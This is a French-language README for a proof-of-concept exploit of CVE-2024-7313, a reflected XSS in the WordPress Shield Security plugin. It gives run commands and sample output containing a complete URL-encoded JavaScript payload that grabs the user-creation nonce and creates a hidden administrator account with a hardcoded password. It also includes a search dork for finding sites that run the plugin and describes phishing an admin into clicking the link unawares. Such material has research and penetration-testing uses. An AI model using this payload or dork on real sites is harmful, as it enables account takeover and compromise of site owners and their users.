
Preuve de concept personnalisé sur XSS vers la création non autorisée de compte administrateur via le plugin WordPress Shield Security < 20.0.6
Ce dépôt contient un script Python PoC conçu pour exploiter une vulnérabilité XSS reflétée dans le plugin Shield Security pour WordPress, affectant les versions antérieures à 20.0.6. La vulnérabilité (CVE-2024-7313) permet à un attaquant de créer un lien malveillant personnalisé pour la cible, et lorsqu'un administrateur clique dessus, l'exploit crée un compte administrateur non autorisé via XSS. Le script détecte automatiquement les installations vulnérables et génère une charge utile pour exploiter la vulnérabilité.
requests et beautifulsoup4Installez les bibliothèques requises en utilisant :
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
Exemple :
python3 exploit.py http://127.0.0.1
Après avoir saisi les détails nécessaires pour le nouvel utilisateur administrateur (nom d'utilisateur, email, prénom, nom de famille), le script générera une URL de charge utile. Vous pouvez coller cette URL dans votre navigateur pour exécuter l'attaque XSS reflétée, ce qui créera un nouvel utilisateur administrateur sur le site WordPress.
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
Vous pouvez accéder au menu d'aide en exécutant :
python3 exploit.py -h
Pour identifier les sites web qui utilisent le plugin vulnérable, vous pouvez utiliser le dork suivant :
inurl:"/wp-content/plugins/wp-simple-firewall/"
Cela vous aidera à trouver des sites web qui ont installé le plugin Shield Security. Veuillez noter que le numéro de version n'est pas visible publiquement, donc des tests manuels peuvent être nécessaires.
Le script vérifie d'abord si l'installation WordPress cible utilise une version vulnérable du plugin Shield Security en examinant la réponse de la page wp-login.php.
Si la version du plugin est vulnérable, il génère une charge utile XSS reflétée qui, lorsqu'elle est exécutée, créera un nouvel utilisateur administrateur avec un mot de passe codé en dur.
La charge utile est créée pour d'abord utiliser une requête GET afin de trouver dynamiquement le nonce WordPress utilisé pour la création de compte, puis utiliser ce nonce pour soumettre une requête POST au point de terminaison de création d'utilisateur avec les détails du nouvel utilisateur fournis dans le script.
La charge utile est ensuite encodée en URL et affichée pour être utilisée dans l'attaque.
Une fois envoyé à un administrateur du site et que le lien est cliqué, un nouvel utilisateur Administrateur sera créé sur le site avec les détails analysés par le script. Tout cela se fait en arrière-plan, l'administrateur victime de phishing étant redirigé vers le tableau de bord Shield Security sans se douter de l'exploit en arrière-plan.
Cet outil est destiné uniquement à des fins éducatives et ne doit être utilisé que dans des environnements de test de pénétration autorisés. L'accès ou l'utilisation non autorisée de systèmes que vous ne possédez pas est illégal. L'auteur n'est pas responsable de toute mauvaise utilisation de cet outil.
Ce projet est sous licence MIT.